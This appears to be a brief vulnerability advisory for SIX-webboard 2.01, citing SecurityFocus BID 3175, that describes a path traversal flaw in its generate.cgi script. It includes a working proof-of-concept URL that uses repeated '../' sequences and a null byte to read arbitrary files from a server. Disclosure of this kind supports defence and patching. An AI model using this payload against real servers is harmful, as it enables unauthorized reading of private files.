SIX-webboard 2.01 - File Retrieval

                source: http://www.securityfocus.com/bid/3175/info

SIX-webboard 2.01 does not filter ".." and "/" from user input, allowing users to enter arbitrary values in order to view or retrieve files not normally accessible to them from the remote host. 

http://www.target.com/cgi-bin/webboard/generate.cgi/?content=../../../../../../../../../directory/file%00&board=boardsname